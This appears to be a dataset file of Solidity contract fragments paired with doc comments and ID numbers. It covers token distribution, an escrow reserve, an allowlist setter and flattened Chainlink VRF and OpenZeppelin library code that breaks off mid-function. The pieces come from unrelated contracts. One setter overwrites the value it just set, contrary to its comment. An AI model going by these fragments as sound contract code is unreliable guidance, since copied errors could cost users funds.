totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
Constructor is called only once and can not be called again/
function DIETCoin() public { balanceOf[msg.sender] = totalSupply; }
10,727,512
pragma solidity ^0.4.24; // File: contracts/interfaces/EscrowReserveInterface.sol interface EscrowReserveInterface { function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool); function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool); function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool); function burnERC20(uint256 _amount, address _tokenAddress) external returns (bool); } // File: contracts/interfaces/BurnableERC20.sol // @title An interface to interact with Burnable ERC20 tokens interface BurnableERC20 { function allowance(address tokenOwner, address spender) external view returns (uint remaining); function burnFrom(address _tokenHolder, uint _amount) external returns (bool success); function burn(uint _amount) external returns (bool success); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event LogBurn(address indexed _spender, uint256 _value); } // File: contracts/database/EscrowReserve.sol interface Events { function transaction(string _message, address _from, address _to, uint _amount, address _token) external; } interface DB { function addressStorage(bytes32 _key) external view returns (address); function uintStorage(bytes32 _key) external view returns (uint); function setUint(bytes32 _key, uint _value) external; function deleteUint(bytes32 _key) external; function setBool(bytes32 _key, bool _value) external; function boolStorage(bytes32 _key) external view returns (bool); } contract EscrowReserve is EscrowReserveInterface{ DB private database; Events private events; constructor(address _database, address _events) public { database = DB(_database); events = Events(_events); } function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow")))); BurnableERC20 erc20 = BurnableERC20(_tokenAddress); require(erc20.balanceOf(this) >= _amount); require(erc20.transfer(_receiver, _amount)); events.transaction("ERC20 withdrawn from escrow reserve", address(this), _receiver, _amount, _tokenAddress); return true; } function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow"))) || msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleGeneratorETH"))) || msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleGeneratorERC20")))); require(BurnableERC20(_tokenAddress).transferFrom(_payer, address(this), _amount)); events.transaction("ERC20 received by escrow reserve", _payer, address(this), _amount, _tokenAddress); } function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow")))); BurnableERC20(_tokenAddress).approve(_receiver, _amount); //always returns true events.transaction("ERC20 approval given by escrow reserve", address(this), _receiver, _amount, _tokenAddress); return true; } function burnERC20(uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow")))); require(BurnableERC20(_tokenAddress).burn(_amount)); events.transaction("ERC20 burnt by escrow reserve", address(this), address(0), _amount, _tokenAddress); return true; } }
An interface to interact with Burnable ERC20 tokens
interface BurnableERC20 { function allowance(address tokenOwner, address spender) external view returns (uint remaining); function burnFrom(address _tokenHolder, uint _amount) external returns (bool success); function burn(uint _amount) external returns (bool success); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event LogBurn(address indexed _spender, uint256 _value); }
1,784,730
./full_match/1/0x48ce1476B47Bb4E2946839Ee624dEECC7DfEf16B/sources/src/ERC20/ERC20Allowlistable.sol
if transfer restrictions are applied, we guess that should also be the case for newly minted tokens if the admin disagrees, it is still possible to change the type of the null address
function setApplicableInternal(bool transferRestrictionsApplicable) internal { restrictTransfers = transferRestrictionsApplicable; if (transferRestrictionsApplicable){ setTypeInternal(address(0x0), TYPE_POWERLISTED); setTypeInternal(address(0x0), TYPE_DEFAULT); } }
2,938,677
./full_match/80001/0xaBC8BE4402367d9B00C308826274196a18AB2940/sources/contracts/Portfolio.sol
Write function to get all experience
function getAllExperience() public view returns (Experience[] memory) { return _experience; }
9,529,821
// File: @chainlink/contracts/src/v0.8/VRFRequestIDBase.sol pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // File: @chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // File: @chainlink/contracts/src/v0.8/VRFConsumerBase.sol pragma solidity ^0.8.0; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts 